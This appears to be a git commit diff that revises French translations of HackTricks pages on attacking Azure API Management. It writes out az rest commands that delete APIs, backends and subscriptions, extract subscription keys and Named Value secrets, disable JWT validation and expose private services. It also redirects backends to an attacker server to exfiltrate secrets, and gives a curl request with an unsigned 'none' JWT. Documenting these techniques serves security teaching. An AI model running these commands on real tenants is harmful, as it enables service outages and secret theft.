mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-27 13:13:06 -08:00
Translated ['', 'src/pentesting-cloud/azure-security/az-services/az-api-
This commit is contained in:
@@ -3,7 +3,7 @@
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## `Microsoft.ApiManagement/service/apis/policies/write` or `Microsoft.ApiManagement/service/policies/write`
|
||||
L'attaquant peut utiliser plusieurs vecteurs pour provoquer un denial of service. Pour bloquer le trafic légitime, l'attaquant ajoute des politiques de rate-limiting et de quota avec des valeurs extrêmement faibles, empêchant ainsi l'accès normal :
|
||||
L'attaquant peut utiliser plusieurs vecteurs pour provoquer un déni de service. Pour bloquer le trafic légitime, l'attaquant ajoute des politiques de rate-limiting et de quota avec des valeurs extrêmement basses, empêchant ainsi l'accès normal :
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
|
||||
@@ -15,7 +15,7 @@ az rest --method PUT \
|
||||
}
|
||||
}'
|
||||
```
|
||||
Pour bloquer des adresses IP clients légitimes spécifiques, l'attaquant peut ajouter des politiques de filtrage IP qui rejettent les requêtes provenant des adresses sélectionnées :
|
||||
Pour bloquer des adresses IP client légitimes spécifiques, l'attaquant peut ajouter des politiques de filtrage IP qui rejettent les requêtes provenant d'adresses sélectionnées :
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/policy?api-version=2024-05-01" \
|
||||
@@ -27,8 +27,8 @@ az rest --method PUT \
|
||||
}
|
||||
}'
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/backends/write` or `Microsoft.ApiManagement/service/backends/delete`
|
||||
Pour provoquer l'échec des requêtes, l'attaquant peut modifier la configuration d'un backend et changer son URL en une adresse invalide ou inaccessible :
|
||||
## `Microsoft.ApiManagement/service/backends/write` ou `Microsoft.ApiManagement/service/backends/delete`
|
||||
Pour provoquer l'échec des requêtes, l'attaquant peut modifier la configuration d'un backend et changer son URL pour une adresse invalide ou inaccessible :
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
|
||||
@@ -47,13 +47,13 @@ az rest --method DELETE \
|
||||
--headers "If-Match=*"
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/apis/delete`
|
||||
Pour rendre des APIs critiques indisponibles, l'attaquant peut les supprimer directement depuis le service API Management :
|
||||
Pour rendre des APIs critiques indisponibles, l'attaquant peut les supprimer directement depuis le service API Management:
|
||||
```bash
|
||||
az rest --method DELETE \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>?api-version=2024-05-01" \
|
||||
--headers "If-Match=*"
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/write` ou `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
|
||||
## `Microsoft.ApiManagement/service/write` or `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
|
||||
Pour bloquer l'accès depuis Internet, l'attaquant peut désactiver l'accès réseau public sur le service API Management :
|
||||
```bash
|
||||
az rest --method PATCH \
|
||||
@@ -66,7 +66,7 @@ az rest --method PATCH \
|
||||
}'
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/subscriptions/delete`
|
||||
Pour bloquer l'accès des utilisateurs légitimes, l'attaquant peut supprimer des abonnements API Management:
|
||||
Pour bloquer l'accès aux utilisateurs légitimes, l'attaquant peut supprimer les abonnements API Management :
|
||||
```bash
|
||||
az rest --method DELETE \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<apim-subscription-id>?api-version=2024-05-01" \
|
||||
|
||||
@@ -4,31 +4,31 @@
|
||||
|
||||
## `Microsoft.ApiManagement/service/namedValues/read` & `Microsoft.ApiManagement/service/namedValues/listValue/action`
|
||||
|
||||
L'attaque consiste à accéder aux secrets sensibles stockés dans Azure API Management Named Values, soit en récupérant directement les valeurs secrètes, soit en abusant des autorisations pour obtenir des secrets liés à Key Vault via des managed identities.
|
||||
L'attaque consiste à accéder à des secrets sensibles stockés dans Azure API Management Named Values, soit en récupérant directement les valeurs secrètes, soit en abusant des permissions pour obtenir des secrets pris en charge par Key Vault via managed identities.
|
||||
```bash
|
||||
az apim nv show-secret --resource-group <resource-group> --service-name <service-name> --named-value-id <named-value-id>
|
||||
```
|
||||
## `Microsoft.ApiManagement/service/subscriptions/read` & `Microsoft.ApiManagement/service/subscriptions/listSecrets/action`
|
||||
Pour chaque abonnement, l'attaquant peut obtenir les clés d'abonnement en utilisant l'endpoint listSecrets avec la méthode POST :
|
||||
Pour chaque abonnement, l'attaquant peut obtenir les clés d'abonnement en appelant l'endpoint listSecrets avec la méthode POST :
|
||||
```bash
|
||||
az rest --method POST \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/subscriptions/<subscription-sid>/listSecrets?api-version=2024-05-01"
|
||||
```
|
||||
La réponse inclut la clé primaire d'abonnement (primaryKey) et la clé secondaire (secondaryKey). Avec ces clés, l'attaquant peut s'authentifier et accéder aux APIs publiées via l'API Management Gateway:
|
||||
La réponse inclut la clé primaire d'abonnement (primaryKey) et la clé secondaire (secondaryKey). Avec ces clés, l'attaquant peut s'authentifier et accéder aux APIs publiées via l'API Management Gateway :
|
||||
```bash
|
||||
curl -H "Ocp-Apim-Subscription-Key: <primary-key-or-secondary-key>" \
|
||||
https://<service-name>.azure-api.net/<api-path>
|
||||
```
|
||||
L'attaquant peut accéder à toutes les APIs et tous les produits associés à l'abonnement. Si l'abonnement a accès à des produits ou APIs sensibles, l'attaquant peut obtenir des informations confidentielles ou effectuer des opérations non autorisées.
|
||||
L'attaquant peut accéder à toutes les APIs et produits associés à l'abonnement. Si l'abonnement a accès à des produits ou APIs sensibles, l'attaquant peut obtenir des informations confidentielles ou effectuer des opérations non autorisées.
|
||||
|
||||
## `Microsoft.ApiManagement/service/policies/write` ou `Microsoft.ApiManagement/service/apis/policies/write`
|
||||
## `Microsoft.ApiManagement/service/policies/write` or `Microsoft.ApiManagement/service/apis/policies/write`
|
||||
|
||||
L'attaquant récupère d'abord la politique API actuelle :
|
||||
L'attaquant récupère d'abord la policy API actuelle :
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/apis/<api-id>/policies/?api-version=2024-05-01&format=rawxml"
|
||||
```
|
||||
L'attaquant peut modifier la politique de plusieurs manières selon ses objectifs. Par exemple, pour désactiver l'authentification, si la politique inclut la validation du token JWT, l'attaquant peut supprimer ou commenter cette section :
|
||||
L'attaquant peut modifier la politique de plusieurs façons selon ses objectifs. Par exemple, pour désactiver l'authentification, si la politique inclut JWT token validation, l'attaquant peut supprimer ou commenter cette section:
|
||||
```xml
|
||||
<policies>
|
||||
<inbound>
|
||||
@@ -86,9 +86,9 @@ az rest --method PUT \
|
||||
```
|
||||
## Mauvaise configuration de la validation JWT
|
||||
|
||||
L'attaquant doit savoir qu'une API utilise la validation des tokens JWT et que la politique est mal configurée. Des politiques de validation JWT mal configurées peuvent avoir `require-signed-tokens="false"` ou `require-expiration-time="false"`, ce qui permet au service d'accepter des tokens non signés ou des tokens qui n'expirent jamais.
|
||||
L'attaquant doit savoir qu'une API utilise la validation de tokens JWT et que la politique est mal configurée. Des politiques de validation JWT mal configurées peuvent avoir `require-signed-tokens="false"` ou `require-expiration-time="false"`, ce qui permet au service d'accepter des tokens non signés ou des tokens qui n'expirent jamais.
|
||||
|
||||
L'attaquant crée un JWT token malveillant en utilisant l'algorithme none (unsigned) :
|
||||
L'attaquant crée un token JWT malveillant en utilisant l'algorithme none (unsigned) :
|
||||
```
|
||||
# Header: {"alg":"none"}
|
||||
# Payload: {"sub":"user"}
|
||||
@@ -100,15 +100,15 @@ curl -X GET \
|
||||
-H "Authorization: Bearer eyJhbGciOiJub25lIn0.eyJzdWIiOiJ1c2VyIn0." \
|
||||
https://<apim>.azure-api.net/path
|
||||
```
|
||||
Si la politique est mal configurée avec `require-signed-tokens="false"`, le service acceptera le token non signé. L'attaquant peut aussi créer un token sans claim d'expiration si `require-expiration-time="false"`.
|
||||
Si la policy est mal configurée avec `require-signed-tokens="false"`, le service acceptera le token non signé. L'attaquant peut aussi créer un token sans claim d'expiration si `require-expiration-time="false"`.
|
||||
|
||||
## `Microsoft.ApiManagement/service/applynetworkconfigurationupdates/action`
|
||||
L'attaquant vérifie d'abord la configuration réseau actuelle du service :
|
||||
L'attaquant vérifie d'abord la configuration réseau actuelle du service:
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<apim>?api-version=2024-05-01"
|
||||
```
|
||||
L'attaquant examine la réponse JSON pour vérifier les valeurs de `publicNetworkAccess` et `virtualNetworkType`. Si `publicNetworkAccess` est défini sur false ou `virtualNetworkType` est défini sur Internal, le service est configuré pour un accès privé.
|
||||
L'attaquant examine la réponse JSON pour vérifier les valeurs de `publicNetworkAccess` et `virtualNetworkType`. Si `publicNetworkAccess` est défini sur false ou si `virtualNetworkType` est défini sur Internal, le service est configuré pour un accès privé.
|
||||
|
||||
Pour exposer le service sur Internet, l'attaquant doit modifier les deux paramètres. Si le service fonctionne en mode interne (`virtualNetworkType: "Internal"`), l'attaquant le change en None ou External et active l'accès réseau public. Cela peut être fait en utilisant l'Azure Management API:
|
||||
```bash
|
||||
@@ -122,10 +122,10 @@ az rest --method PATCH \
|
||||
}
|
||||
}'
|
||||
```
|
||||
Une fois que `virtualNetworkType` est défini sur `None` ou `External` et que `publicNetworkAccess` est activé, le service et toutes ses APIs deviennent accessibles depuis Internet, même s'ils étaient auparavant protégés derrière un réseau privé ou des private endpoints.
|
||||
Une fois que `virtualNetworkType` est défini sur `None` ou `External` et que `publicNetworkAccess` est activé, le service et toutes ses APIs deviennent accessibles depuis Internet, même s'ils étaient auparavant protégés derrière un réseau privé ou des points de terminaison privés.
|
||||
|
||||
## `Microsoft.ApiManagement/service/backends/write`
|
||||
L'attaquant énumère d'abord les backends existants pour identifier lequel modifier :
|
||||
L'attaquant commence par énumérer les backends existants pour identifier celui à modifier :
|
||||
```bash
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends?api-version=2024-05-01"
|
||||
@@ -135,7 +135,7 @@ L'attaquant récupère la configuration actuelle du backend qu'il souhaite modif
|
||||
az rest --method GET \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01"
|
||||
```
|
||||
L'attaquant modifie l'URL du backend pour la faire pointer vers un serveur sous son contrôle. Il récupère d'abord l'ETag de la réponse précédente, puis met à jour le backend :
|
||||
L'attaquant modifie l'URL du backend pour la faire pointer vers un serveur sous son contrôle. D'abord, il obtient l'ETag de la réponse précédente, puis met à jour le backend :
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
|
||||
@@ -148,7 +148,7 @@ az rest --method PUT \
|
||||
}
|
||||
}'
|
||||
```
|
||||
Alternativement, l'attaquant peut configurer des backend headers pour exfiltrer des Named Values contenant des secrets. Cela se fait via la configuration des backend credentials :
|
||||
Alternativement, l'attaquant peut configurer des en-têtes backend pour exfiltrer des Named Values contenant des secrets. Ceci se fait via la configuration des identifiants du backend :
|
||||
```bash
|
||||
az rest --method PUT \
|
||||
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<resource-group>/providers/Microsoft.ApiManagement/service/<service-name>/backends/<backend-id>?api-version=2024-05-01" \
|
||||
@@ -165,6 +165,6 @@ az rest --method PUT \
|
||||
}
|
||||
}'
|
||||
```
|
||||
Avec cette configuration, les Named Values sont envoyés comme en-têtes dans toutes les requêtes vers le backend contrôlé par l'attaquant, permettant l'exfiltration de secrets sensibles.
|
||||
Avec cette configuration, les Named Values sont envoyés en tant qu'en-têtes dans toutes les requêtes vers le backend contrôlé par l'attaquant, permettant l'exfiltration de secrets sensibles.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,39 +4,39 @@
|
||||
|
||||
## Informations de base
|
||||
|
||||
Azure API Management (APIM) est un service entièrement géré qui offre une **plate-forme unifiée pour publier, sécuriser, transformer, gérer et surveiller les APIs**. Il permet aux organisations de **centraliser leur stratégie API** et d'assurer une gouvernance, des performances et une sécurité cohérentes sur l'ensemble de leurs services. En agissant comme une couche d'abstraction entre les services backend et les consommateurs d'API, APIM simplifie l'intégration et améliore la maintenabilité tout en fournissant des capacités opérationnelles et de sécurité essentielles.
|
||||
Azure API Management (APIM) est un service entièrement managé qui propose une **plateforme unifiée pour publier, sécuriser, transformer, gérer et surveiller les API**. Il permet aux organisations de **centraliser leur stratégie d'API** et d'assurer une gouvernance, des performances et une sécurité cohérentes pour l'ensemble de leurs services. En servant de couche d'abstraction entre les services backend et les consommateurs d'API, APIM simplifie l'intégration et améliore la maintenabilité tout en fournissant des capacités opérationnelles et de sécurité essentielles.
|
||||
|
||||
## Concepts clés
|
||||
|
||||
**The API Gateway** sert de point d'entrée unique pour tout le trafic API, gérant des fonctions telles que le routage des requêtes vers les services backend, l'application de limites de débit, la mise en cache des réponses et la gestion de l'authentification et de l'autorisation. Cette gateway est entièrement hébergée et gérée par Azure, garantissant une haute disponibilité et une grande évolutivité.
|
||||
**The API Gateway** sert de point d'entrée unique pour tout le trafic API, gérant des fonctions telles que le routage des requêtes vers les services backend, l'application de limites de débit, la mise en cache des réponses, et la gestion de l'authentification et de l'autorisation. Cette passerelle est entièrement hébergée et gérée par Azure, garantissant haute disponibilité et scalabilité.
|
||||
|
||||
**The Developer Portal** fournit un environnement en libre-service où les consommateurs d'API peuvent découvrir les APIs disponibles, lire la documentation et tester les endpoints. Il facilite l'onboarding en offrant des outils interactifs et l'accès aux informations d'abonnement.
|
||||
**The Developer Portal** fournit un environnement en libre-service où les consommateurs d'API peuvent découvrir les API disponibles, lire la documentation et tester les endpoints. Il facilite l'onboarding en proposant des outils interactifs et l'accès aux informations de subscription.
|
||||
|
||||
**The Management Portal (Management Plane)** est utilisé par les administrateurs pour configurer et maintenir le service APIM. Depuis cet espace, les utilisateurs peuvent définir des APIs et des opérations, configurer le contrôle d'accès, appliquer des policies, gérer les utilisateurs et organiser les APIs en produits. Ce portail centralise l'administration et assure une gouvernance API cohérente.
|
||||
**The Management Portal (Management Plane)** est utilisé par les administrateurs pour configurer et maintenir le service APIM. Depuis cet endroit, les utilisateurs peuvent définir des APIs et des opérations, configurer le contrôle d'accès, appliquer des politiques, gérer les utilisateurs et organiser les APIs en produits. Ce portail centralise l'administration et garantit une gouvernance cohérente des API.
|
||||
|
||||
## Authentification et autorisation
|
||||
|
||||
Azure API Management prend en charge plusieurs **mécanismes d'authentification** pour sécuriser l'accès aux APIs. Ceux-ci incluent les **subscription keys**, les **tokens OAuth 2.0** et les **certificats client**. APIM s'intègre également nativement avec **Microsoft Entra ID**, permettant une **gestion des identités de niveau entreprise** et un **accès sécurisé** aux APIs et aux services backend.
|
||||
Azure API Management supporte plusieurs **mécanismes d'authentification** pour sécuriser l'accès aux API. Ceux-ci incluent les **clés d'abonnement**, les **OAuth 2.0 tokens** et les **certificats client**. APIM s'intègre également nativement avec **Microsoft Entra ID**, permettant la **gestion des identités au niveau entreprise** et un **accès sécurisé** aux API et aux services backend.
|
||||
|
||||
## Politiques
|
||||
|
||||
Les policies dans APIM permettent aux administrateurs de personnaliser le **traitement des requêtes et des réponses** à différents niveaux de granularité, y compris au niveau du **service**, de l'**API**, de l'**opération** ou du **produit**. Grâce aux policies, il est possible d'appliquer la **validation de token JWT**, de **transformer des payloads XML ou JSON**, d'**appliquer des limites de débit**, de **restreindre les appels par adresse IP**, ou d'**authentifier contre des services backend en utilisant des managed identities**. Les policies sont **très flexibles** et constituent l'une des **forces principales** de la plateforme API Management, permettant un **contrôle fin du comportement d'exécution** sans modifier le code backend.
|
||||
Les politiques dans APIM permettent aux administrateurs de personnaliser le **traitement des requêtes et des réponses** à différents niveaux de granularité, y compris le **service**, l'**API**, l'**opération** ou le **produit**. Grâce aux politiques, il est possible d'appliquer la **validation de JWT**, de **transformer des payloads XML ou JSON**, d'**appliquer des limites de débit**, de **restreindre les appels par adresse IP**, ou de **s'authentifier auprès des services backend en utilisant des identités gérées**. Les politiques sont **très flexibles** et constituent l'une des **forces principales** de la plateforme API Management, permettant un **contrôle fin du comportement au runtime** sans modifier le code backend.
|
||||
|
||||
## Named Values
|
||||
|
||||
Le service fournit un mécanisme appelé **Named Values**, qui permet de stocker des **informations de configuration** telles que des **secrets**, des **API keys**, ou d'autres valeurs requises par les policies.
|
||||
Le service propose un mécanisme appelé **Named Values**, qui permet de stocker des **informations de configuration** telles que des **secrets**, des **API keys**, ou d'autres valeurs requises par les politiques.
|
||||
|
||||
Ces valeurs peuvent être stockées directement dans APIM ou référencées de manière sécurisée depuis **Azure Key Vault**. Named Values favorisent une **gestion sécurisée et centralisée** des données de configuration et simplifient la rédaction des policies en permettant des **références réutilisables** plutôt que des valeurs en dur.
|
||||
Ces valeurs peuvent être stockées directement dans APIM ou référencées de manière sécurisée depuis **Azure Key Vault**. Named Values favorisent une **gestion centralisée et sécurisée** des données de configuration et simplifient la rédaction des politiques en autorisant des **références réutilisables** plutôt que des valeurs codées en dur.
|
||||
|
||||
### Réseau et intégration de sécurité
|
||||
## Intégration réseau et sécurité
|
||||
|
||||
Azure API Management s'intègre parfaitement avec les environnements de **Virtual Network**, permettant une **connectivité privée et sécurisée** aux systèmes backend.
|
||||
Azure API Management s'intègre parfaitement aux environnements **Virtual Network (VNet)**, permettant une **connectivité privée et sécurisée** vers les systèmes backend.
|
||||
|
||||
Lorsqu'il est déployé dans un **Virtual Network (VNet)**, APIM peut accéder aux **services internes** sans les exposer publiquement. Le service permet également la configuration de **certificats personnalisés** pour supporter l'**authentification mutual TLS** avec les services backend, améliorant la sécurité dans les scénarios où une **validation d'identité forte** est requise.
|
||||
Lorsqu'il est déployé à l'intérieur d'un **Virtual Network (VNet)**, APIM peut accéder aux **services internes** sans les exposer publiquement. Le service permet également la configuration de **certificats personnalisés** pour prendre en charge **mutual TLS authentication** avec les services backend, renforçant la sécurité dans les scénarios nécessitant une **validation d'identité forte**.
|
||||
|
||||
Ces **fonctionnalités réseau** rendent APIM adapté aux architectures **cloud-native** comme aux architectures **hybrides**.
|
||||
Ces **fonctionnalités réseau** rendent APIM adapté aux architectures **cloud-native** et **hybrides**.
|
||||
|
||||
### Énumération
|
||||
### Énumérer
|
||||
|
||||
Pour énumérer le service API Management :
|
||||
```bash
|
||||
|
||||
Reference in New Issue
Block a user